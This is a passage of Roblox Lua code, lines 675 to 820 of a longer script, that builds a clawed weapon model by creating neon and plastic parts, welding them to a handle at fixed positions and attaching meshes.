675 | CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(1, 0.709999979, 0.100000001)) | |
676 | Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1)) | |
677 | ClawWeld = CreateWeld(m, Handle, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0142959999, -0.79026103, -0.577523232, 0, 0, 1, 0.0581610166, -0.998307228, 0, 0.998307228, 0.0581610166, 0)) | |
678 | CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.400000006, 1, 0.100000001)) | |
679 | Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1)) | |
680 | ClawWeld = CreateWeld(m, Handle, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.857914209, 0.258751988, -0.512362957, 0.353553236, -0.866025567, -0.353553236, -0.707106471, 3.09715034e-07, -0.707107246, 0.612372994, 0.499999791, -0.6123721)) | |
681 | CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(1, 0.709999979, 0.100000001)) | |
682 | ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 0.200000003)) | |
683 | ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.508293927, 0.581420183, 0.355297565, -1, 0, 0, 0, -0.694275975, -0.719708979, 0, -0.719708979, 0.694275975)) | |
684 | CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.207726225, 0.473494887, 1)) | |
685 | ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 0.200000003)) | |
686 | ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.508293927, -0.605236769, -0.322324991, 1, 0, 0, 0, 0.719708979, -0.694275975, 0, 0.694275975, 0.719708979)) | |
687 | CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.207726225, 0.473494887, 1)) | |
688 | ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 0.200000003)) | |
689 | ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.508293927, 0.0117408261, -0.729162693, 1, 0, 0, 0, -0.0252030101, -0.999682367, 0, 0.999682367, -0.0252030101)) | |
690 | CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.208000004, 0.47299999, 0.47299999)) | |
691 | ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 1.04200566)) | |
692 | ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.123879015, -0.278857708, -0.00617899979, 0.965925336, -0.2588211, 0, 0.2588211, 0.965925336, 0, 0, 0, 1)) | |
693 | CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.821169853, 0.388499111, 1.00999999)) | |
694 | ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.445813209, 0.210449979, 1.04200566)) | |
695 | ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.223450184, 0.0305250883, -0.00618699985, -0.25881803, 0.965926111, 0, -0.965926111, -0.25881803, 0, 0, 0, 1)) | |
696 | CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 0.388499111, 1.00999999)) | |
697 | ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 1.04200566)) | |
698 | ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.407537222, 0.0663063526, -0.00618699985, 0.707106352, -0.707107365, 0, 0.707107365, 0.707106352, 0, 0, 0, 1)) | |
699 | CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.821169853, 0.388499111, 1.00999999)) | |
700 | ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.664211631, 0.210449979, 1.04200566)) | |
701 | ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0544009209, 0.0101571083, -0.00617499975, 0.499998987, 0.866025984, 0, -0.866025984, 0.499998987, 0, 0, 0, 1)) | |
702 | CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 0.388499111, 1.00999999)) | |
703 | ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 1.04200566)) | |
704 | ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.212381959, -0.663311005, -0.00618499983, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
705 | CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.730365157, 0.388499111, 1.00999999)) | |
706 | ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 1.04200566)) | |
707 | ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0184851885, 0.339620829, -0.0061809998, 0.715359032, -0.698757052, 0, 0.698757052, 0.715359032, 0, 0, 0, 1)) | |
708 | CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.834142029, 0.388499111, 1.00999999)) | |
709 | ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.627083898, 0.210449979, 1.04200566)) | |
710 | ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.280005217, -0.363016367, -0.00617299974, 0.707106352, 0.707107365, 0, -0.707107365, 0.707106352, 0, 0, 0, 1)) | |
711 | CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 0.388499111, 1.00999999)) | |
712 | ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 0.329999983)) | |
713 | ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.508293927, 0.00543988496, -0.414242506, 1, 0, 0, 0, -0.0252030101, -0.999682367, 0, 0.999682367, -0.0252030101)) | |
714 | CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.207726225, 0.473494887, 1)) | |
715 | ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 1.04200566)) | |
716 | ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.453824013, -0.291407824, -0.00616900017, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
717 | CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.83414197, 0.388499111, 1.00999999)) | |
718 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009)) | |
719 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.51018995, -0.50767684, 0.297928989, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
720 | CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.225887179, 0.543544471, 0.369591445)) | |
721 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.796189725)) | |
722 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0117785633, -0.903934956, 0.39272213, 0.707106352, 0, 0.707107365, 0, 1, 0, -0.707107365, 0, 0.707106352)) | |
723 | CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 1)) | |
724 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009)) | |
725 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.51076597, -0.677359819, -0.295575023, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
726 | CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.231076032, 0.543544471, 0.369591445)) | |
727 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.524428368)) | |
728 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0118038058, 0.689624906, 0.570050001, 0.707103848, 0, 0.707109809, -0.707109809, 0, 0.707103848, 0, -1, 0)) | |
729 | CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 1)) | |
730 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009)) | |
731 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.510767996, -0.508222818, -0.295575023, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
732 | CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.231076032, 0.543544471, 0.369591445)) | |
733 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 1.06329954)) | |
734 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.285520971, -0.664801836, -0.00591700012, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
735 | CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.311503083, 0.543544471, 1)) | |
736 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.728394926, 0.35408181, 1.04200566)) | |
737 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.159419954, -0.695495844, -0.00616900017, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
738 | CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1)) | |
739 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.796342552, 0.65287286, 1.04582763)) | |
740 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.144507021, 0.270431995, -0.00702500017, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
741 | CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1)) | |
742 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 1.04200566)) | |
743 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0228680372, -0.903097868, -0.00617699977, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
744 | CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 1)) | |
745 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009)) | |
746 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.51076597, -0.157143831, -0.295579016, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
747 | CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.231076032, 0.543544471, 0.369591445)) | |
748 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.475480139, 0.404664904, 1.04200566)) | |
749 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.236273766, -0.56151557, -0.0061809998, 0.707106352, 0.707107365, 0, -0.707107365, 0.707106352, 0, 0, 0, 1)) | |
750 | CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1)) | |
751 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.796189725)) | |
752 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.000811070204, -0.902295828, 0.381639034, -0.707106829, 0, 0.707106829, 0, 1, 0, -0.707106829, 0, -0.707106829)) | |
753 | CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 1)) | |
754 | Part = CreatePart2(m, Enum.Material.Neon, 0, 0, "Part", "Really black", "Part", Vector3.new(1, 1, 1)) | |
755 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0142869996, -0.618730307, -0.382281303, 0, 0, 1, 0.36670509, -0.93033725, 0, 0.93033725, 0.36670509, 0)) | |
756 | CreateMesh("SpecialMesh", Part, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.5, 0.709999979, 0.100000001)) | |
757 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.524428368)) | |
758 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.000812500715, 0.678554535, 0.570062876, -0.707106829, 0, 0.707106829, -0.707106829, 0, -0.707106829, 0, -1, 0)) | |
759 | CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 1)) | |
760 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.274916351, 0.495625556, 1.04582763)) | |
761 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.386464, 0.349603176, -0.00702300016, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
762 | CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1)) | |
763 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 1.06329954)) | |
764 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.285515964, -0.215442896, -0.00591900013, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
765 | CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.311503083, 0.543544471, 1)) | |
766 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009)) | |
767 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.51019901, -0.156597853, 0.297930986, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
768 | CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.225887179, 0.543544471, 0.369591445)) | |
769 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(1.06224263, 1.11860847, 1.04200566)) | |
770 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00774800777, 0.0171630383, -0.0061809998, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
771 | CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1)) | |
772 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009)) | |
773 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.510194004, -0.67681098, 0.297922999, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
774 | CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.225887179, 0.543544471, 0.369591445)) | |
775 | ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "WedgePart", TorsoColor, "ClawMaterial", Vector3.new(1.0507766, 0.342107773, 0.210450009)) | |
776 | ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00591100007, -0.468749046, 0.193565369, 0, 0, 1, -0.700001419, -0.714141428, 0, 0.714141428, -0.700001419, 0)) | |
777 | CreateMesh("SpecialMesh", ClawMaterial, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 0.961421788)) | |
778 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009)) | |
779 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00134065747, 0.207813978, 0.709334135, 0.707106829, 0, -0.707106829, 0, -1, 0, -0.707106829, 0, -0.707106829)) | |
780 | CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 0.961421788)) | |
781 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(1.05023062, 0.210449979, 0.210450009)) | |
782 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00947299972, -0.114370823, -0.440932035, 0, 0, 1, 0, 1, 0, -1, 0, 0)) | |
783 | CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 0.561885834, 0.961421788)) | |
784 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(1.05023062, 0.411995441, 0.210450009)) | |
785 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00891099963, -0.798730135, 0.476718009, 0, 0, 1, 0, -1, 0, 1, 0, 0)) | |
786 | CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 0.644903481)) | |
787 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(1.04586256, 0.210449979, 0.27767837)) | |
788 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00726700015, 0.0232260227, 0.391721964, 0, 0, 1, 0, 1, 0, -1, 0, 0)) | |
789 | CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 0.764251173, 1)) | |
790 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(1.05023062, 0.385787576, 0.210450009)) | |
791 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00509499991, -0.792718172, 0.456955969, 0, 0, -1, 0, -1, 0, -1, 0, 0)) | |
792 | CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 0.644903481)) | |
793 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(1.05023062, 0.210449979, 0.210450009)) | |
794 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00509600015, -0.696686029, 0.42363596, 0, 0, -1, 0, -1, 0, -1, 0, 0)) | |
795 | CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 0.961427808, 0.961421788)) | |
796 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009)) | |
797 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.012203753, 0.206679821, 0.707822442, -0.707106352, 0, -0.707107365, 0, -1, 0, -0.707107365, 0, 0.707106352)) | |
798 | CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 0.961421788)) | |
799 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(1.05023062, 0.210449979, 0.210450009)) | |
800 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00947900023, -0.695355177, 0.440928012, 0, 0, 1, 0, -1, 0, 1, 0, 0)) | |
801 | CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 0.961427808, 0.961421788)) | |
802 | MotorOne = CreatePart(m, Enum.Material.Neon, 0.30000001192093, 1, TorsoColor, "MotorOne", Vector3.new(0.200000003, 0.200000003, 0.200000003)) | |
803 | MotorOneWeld = CreateWeld(m, Handle, MotorOne, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.165818453, -0.00628910959, -0.978227913, -0.0732169896, -0.996971905, -0.0261989962, -0.542171299, 0.0618378855, -0.83798945, 0.837072074, -0.0471507274, -0.545057178)) | |
804 | Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1)) | |
805 | ShardWeld = CreateWeld(m, MotorOne, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.413149118, -0.00709122419, -1.08955288, 0.90752846, 5.51342964e-07, -0.419990718, -1.73971057e-06, 1, -2.44379044e-06, 0.419990718, 2.95042992e-06, 0.90752852)) | |
806 | CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(1.20000005, 0.200000003, 0.200000003)) | |
807 | Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1)) | |
808 | ShardWeld = CreateWeld(m, MotorOne, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.205875158, -0.00710588694, -1.48987699, 0.747897685, -5.36441803e-07, -0.663814127, -1.66893005e-06, 1, -2.68220901e-06, 0.663814127, 3.12924385e-06, 0.747897744)) | |
809 | CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003)) | |
810 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.319999993)) | |
811 | PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151987076, 0.549069643, -0.614215612, -1.19581819e-06, 1, 1.37090683e-06, -0.999459982, -1.24052167e-06, 0.0328635052, 0.0328635164, -1.31130219e-06, 0.999459982)) | |
812 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 2.73999977, 0.339999974)) | |
813 | PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151856542, -0.490994453, -0.295432806, -1.19581819e-06, 1, 1.37090683e-06, -0.961226821, -7.5250864e-07, -0.27575928, -0.27575931, -1.57952309e-06, 0.96122694)) | |
814 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.479999989)) | |
815 | PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.015198648, 0.650615692, -0.406500697, -1.19581819e-06, 1, 1.37090683e-06, -0.978774786, -8.94069672e-07, -0.204939544, -0.204939514, -1.51991844e-06, 0.978774667)) | |
816 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.339999974)) | |
817 | PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0152282119, 0.624634504, 0.129744053, -1.19581819e-06, 1, 1.37090683e-06, -0.832109034, -2.5331974e-07, -0.554612279, -0.554612339, -1.78813934e-06, 0.832108974)) | |
818 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.03999996, 0.480000019)) | |
819 | PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0152042508, 0.944105864, 0.894237399, 1.19581819e-06, -1, -1.37090683e-06, -0.999459982, -1.24052167e-06, 0.0328635052, -0.0328635164, 1.31130219e-06, -0.999459982)) | |
820 | Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1)) | |
